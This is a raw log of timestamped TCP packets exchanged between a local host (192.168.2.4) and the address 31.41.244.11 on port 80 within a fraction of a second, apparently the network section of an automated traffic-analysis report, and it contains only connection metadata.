Dec 19, 2024 20:11:39.343030930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.343030930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.343275070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.343460083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.343491077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.343720913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.344172001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.344300032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.344316006 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.344372034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.345308065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.345451117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.345452070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.345506907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.346458912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.346558094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.347170115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.347538948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.347660065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.347688913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.347711086 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.348776102 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.348844051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.348887920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.348944902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.349948883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.350018978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.350907087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.350919962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.351016998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.351048946 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.351077080 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.352102995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.352206945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.352235079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.352498055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.353421926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.353533983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.353890896 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.354294062 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.354430914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.354460955 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.354582071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.355529070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.355727911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.355758905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.356122971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.356539965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.356715918 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.357219934 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.491113901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.491187096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.491194010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.491333008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.491616964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.491689920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.491722107 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.491780996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.492758036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.492882967 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.492919922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.493010998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.493881941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.493962049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.493978977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.494033098 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.494973898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.495021105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.495078087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.495179892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.496130943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.496283054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.496493101 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.497282982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.497432947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.497462034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.497837067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.498353004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.498445988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.498914003 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.499479055 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.499557018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.499680042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.499818087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.500611067 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.500904083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.501169920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.501733065 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.501864910 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.502013922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.502861977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.503004074 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.504004955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.504035950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.504198074 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.504488945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.505143881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.505249023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.505278111 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.505350113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.506248951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.506330013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.506357908 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.506679058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.507339954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.507452011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.507481098 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.507565022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.508455038 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.508558035 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.508586884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.509051085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.509666920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.509843111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.509975910 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.510740042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.510807991 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.510848045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.510925055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.511874914 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.511950970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.511981010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.512331963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.513016939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.513148069 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.514089108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.514120102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.514194965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.514619112 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.515208960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.515299082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.515321970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.515527010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.516343117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.516422987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.516450882 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.516510010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.517476082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.517600060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.517657995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.518642902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.518769979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.519769907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.519835949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.519859076 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.520525932 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.520823002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.520920038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.520950079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.521626949 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.522051096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.522150993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.522181034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.523086071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.523211002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.523238897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.524231911 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.524262905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.524337053 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.524794102 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.525384903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.525475025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.526489973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.526523113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.526635885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.527662039 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.527695894 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.527870893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.528681040 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.528727055 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.528830051 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.529863119 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.529891014 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.530186892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.531047106 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.531078100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.531238079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.532109976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.532140970 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.532275915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.532581091 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.533289909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.533392906 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.534316063 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.534346104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.534451962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.535458088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.535486937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.535554886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.536524057 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.536602020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.536801100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.537770987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.537800074 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.537838936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.538826942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.538861036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.538918018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.539958954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.539989948 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.540095091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.540827990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.541078091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.541179895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.542222023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.542275906 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.542309999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.543323994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.543353081 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.543431997 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.544478893 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.544508934 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.544565916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.544666052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.545619011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.545917988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.546833992 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.546860933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.547085047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.547893047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.547920942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.547974110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.548554897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.548935890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.549060106 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.550003052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.550026894 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.554997921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.683254957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.683283091 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.683350086 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.683528900 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.683581114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.683666945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.683717966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.684611082 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.684652090 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.684715033 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.685820103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.685875893 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.685898066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.685935020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.686589003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.686630964 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.686707973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.686754942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.687684059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.687741041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.687819958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.687870026 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.688812017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.688852072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.688932896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.689927101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.689975977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.690023899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.690068007 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.691071987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.691117048 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.691214085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.691255093 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.692168951 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.692212105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.692295074 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.692336082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.693305969 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.693531036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.693579912 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.695667982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.695806026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.695817947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.695837021 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.695867062 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.696146011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.696850061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.696904898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.696948051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.697005987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.697050095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.697860956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.697902918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.697978973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.698019981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.699155092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.699201107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.699219942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.699260950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.700077057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.700119019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.700196981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.700241089 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.701142073 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.701257944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.701302052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.702334881 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.702379942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.702548981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.702590942 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.703428984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.703483105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.703495026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.703538895 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.704631090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.704674006 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.704706907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.704747915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.705636024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.705751896 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.705796957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.706765890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.706810951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.706872940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.706913948 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.707895994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.707952976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.708039045 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.708081961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.709085941 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.709252119 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.709295034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.710167885 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.710215092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.710242987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.710282087 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.711245060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.711288929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.711426973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.711472034 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.712414026 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.712475061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.712506056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.712549925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.713541031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.713644028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.713700056 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.714668989 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.714714050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.714791059 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:39.714833021 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:39.715809107 CET	80	49842	31.41.244.11	192.168.2.4
